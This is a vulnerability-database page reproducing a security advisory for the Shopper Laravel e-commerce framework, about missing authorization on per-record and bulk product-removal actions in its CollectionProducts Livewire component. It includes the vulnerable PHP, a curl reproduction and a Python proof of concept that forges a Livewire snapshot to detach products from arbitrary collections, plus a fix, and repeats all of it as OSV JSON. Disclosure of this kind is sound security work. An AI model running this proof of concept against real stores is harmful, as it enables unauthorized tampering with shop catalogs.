GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-2CG9-97GQ-9MQP

Vulnerability from github – Published: 2026-09-11 21:31 – Updated: 2026-09-11 21:31
VLAI
Summary
Shopper: Missing authorization on product removal actions in CollectionProducts component
Details

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse_collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
    Action::make('delete')
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->iconButton()
        ->color('danger')
        ->requiresConfirmation()
        ->action(function (Product $record): void {
            $this->collection->products()->detach([$record->id]);
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
    DeleteBulkAction::make()
        ->label(__('shopper::forms.actions.delete'))
        ->icon(Untitledui::Trash03)
        ->requiresConfirmation()
        ->action(function (EloquentCollection $records): void {
            $this->collection->products()->detach($records->pluck('id')->toArray());
            $this->dispatch('collection.add.product');
            Notification::make()
                ->title(__('shopper::pages/collections.remove_product'))
                ->success()
                ->send();
        })
        ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse_collections (no edit_collections required).

SESSION="laravel_session=<your_session_value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#          substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}",
      "updates": {},
      "calls": [{
        "path": "",
        "method": "callBulkAction",
        "params": ["delete", [1, 2, 3, 4, 5]]
      }]
    }]
  }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#           regardless of the caller having only browse_collections.

Proof of concept

#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  value of the laravel_session cookie
  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie
  COMPONENT_ID    Livewire component snapshot ID (from page source)
  COLLECTION_ID   integer ID of the target collection
  PRODUCT_IDS     comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base_url      = os.environ['BASE_URL']
session       = os.environ['SESSION_COOKIE']
xsrf          = os.environ['XSRF_TOKEN']
component_id  = os.environ['COMPONENT_ID']
collection_id = int(os.environ['COLLECTION_ID'])
product_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

snapshot = json.dumps({
    'id': component_id,
    'data': {'collection': collection_id},
    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',
})

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{
            'path': '',
            'method': 'callBulkAction',
            'params': ['delete', product_ids],
        }]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

Impact

A staff member holding only browse_collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use Livewire\Attributes\Locked;

#[Locked]                          // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
    ->authorize('edit_collections')  // add this
    ->action(function (Product $record): void {
        $this->collection->products()->detach([$record->id]);
        // ...
    }),

// Bulk action:
DeleteBulkAction::make()
    ->authorize('edit_collections')  // add this
    ->action(function (EloquentCollection $records): void {
        $this->collection->products()->detach($records->pluck('id')->toArray());
        // ...
    })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopper/framework"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T21:31:26Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Title\n\nMissing authorization on product removal actions in CollectionProducts component\n\n## Description\n\nA lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make(\u0027delete\u0027)` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `-\u003eauthorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105`\n\n```php\n// Line 40 - client-mutable, no #[Locked]\npublic Collection $collection;\n\n// Lines 73-88 - per-record delete action, no -\u003eauthorize(...)\n-\u003erecordActions([\n    Action::make(\u0027delete\u0027)\n        -\u003elabel(__(\u0027shopper::forms.actions.delete\u0027))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003eiconButton()\n        -\u003ecolor(\u0027danger\u0027)\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (Product $record): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n            $this-\u003edispatch(\u0027collection.add.product\u0027);\n            Notification::make()\n                -\u003etitle(__(\u0027shopper::pages/collections.remove_product\u0027))\n                -\u003esuccess()\n                -\u003esend();\n        }),\n])\n\n// Lines 91-105 - bulk remove action, no -\u003eauthorize(...)\n-\u003egroupedBulkActions([\n    DeleteBulkAction::make()\n        -\u003elabel(__(\u0027shopper::forms.actions.delete\u0027))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (EloquentCollection $records): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck(\u0027id\u0027)-\u003etoArray());\n            $this-\u003edispatch(\u0027collection.add.product\u0027);\n            Notification::make()\n                -\u003etitle(__(\u0027shopper::pages/collections.remove_product\u0027))\n                -\u003esuccess()\n                -\u003esend();\n        })\n        -\u003edeselectRecordsAfterCompletion(),\n])\n```\n\n## Steps to reproduce\n\nPrerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required).\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).\n# Step 2: Call the bulk table action on the CollectionProducts component,\n#          substituting collection ID 5 in the component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d \u0027{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"COLLECTION_PRODUCTS_COMPONENT_ID\\\",\\\"data\\\":{\\\"collection\\\":5},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\n        \"path\": \"\",\n        \"method\": \"callBulkAction\",\n        \"params\": [\"delete\", [1, 2, 3, 4, 5]]\n      }]\n    }]\n  }\u0027\n# Expected: HTTP 200, all listed product IDs detached from collection 5,\n#           regardless of the caller having only browse_collections.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCollectionProducts authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  COLLECTION_ID   integer ID of the target collection\n  PRODUCT_IDS     comma-separated product IDs to detach (e.g. \"1,2,3\")\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ[\u0027BASE_URL\u0027]\nsession       = os.environ[\u0027SESSION_COOKIE\u0027]\nxsrf          = os.environ[\u0027XSRF_TOKEN\u0027]\ncomponent_id  = os.environ[\u0027COMPONENT_ID\u0027]\ncollection_id = int(os.environ[\u0027COLLECTION_ID\u0027])\nproduct_ids   = [int(x) for x in os.environ[\u0027PRODUCT_IDS\u0027].split(\u0027,\u0027)]\n\nheaders = {\n    \u0027Content-Type\u0027: \u0027application/json\u0027,\n    \u0027Accept\u0027: \u0027text/html, application/xhtml+xml\u0027,\n    \u0027X-XSRF-TOKEN\u0027: xsrf,\n    \u0027Cookie\u0027: f\u0027laravel_session={session}\u0027,\n    \u0027X-Livewire\u0027: \u00271\u0027,\n}\n\nsnapshot = json.dumps({\n    \u0027id\u0027: component_id,\n    \u0027data\u0027: {\u0027collection\u0027: collection_id},\n    \u0027checksum\u0027: \u0027UNLOCKED_PROP_NO_CHECKSUM_NEEDED\u0027,\n})\n\npayload = {\n    \u0027components\u0027: [{\n        \u0027snapshot\u0027: snapshot,\n        \u0027updates\u0027: {},\n        \u0027calls\u0027: [{\n            \u0027path\u0027: \u0027\u0027,\n            \u0027method\u0027: \u0027callBulkAction\u0027,\n            \u0027params\u0027: [\u0027delete\u0027, product_ids],\n        }]\n    }]\n}\n\nr = requests.post(f\u0027{base_url}/shopper/livewire/update\u0027, headers=headers, json=payload)\nprint(f\u0027Status: {r.status_code}\u0027)\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                          // prevent client-side ID substitution\npublic Collection $collection;\n\n// Per-record action:\nAction::make(\u0027delete\u0027)\n    -\u003eauthorize(\u0027edit_collections\u0027)  // add this\n    -\u003eaction(function (Product $record): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n        // ...\n    }),\n\n// Bulk action:\nDeleteBulkAction::make()\n    -\u003eauthorize(\u0027edit_collections\u0027)  // add this\n    -\u003eaction(function (EloquentCollection $records): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck(\u0027id\u0027)-\u003etoArray());\n        // ...\n    })\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "id": "GHSA-2cg9-97gq-9mqp",
  "modified": "2026-09-11T21:31:26Z",
  "published": "2026-09-11T21:31:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopperlabs/shopper/security/advisories/GHSA-2cg9-97gq-9mqp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopperlabs/shopper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopper: Missing authorization on product removal actions in CollectionProducts component"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.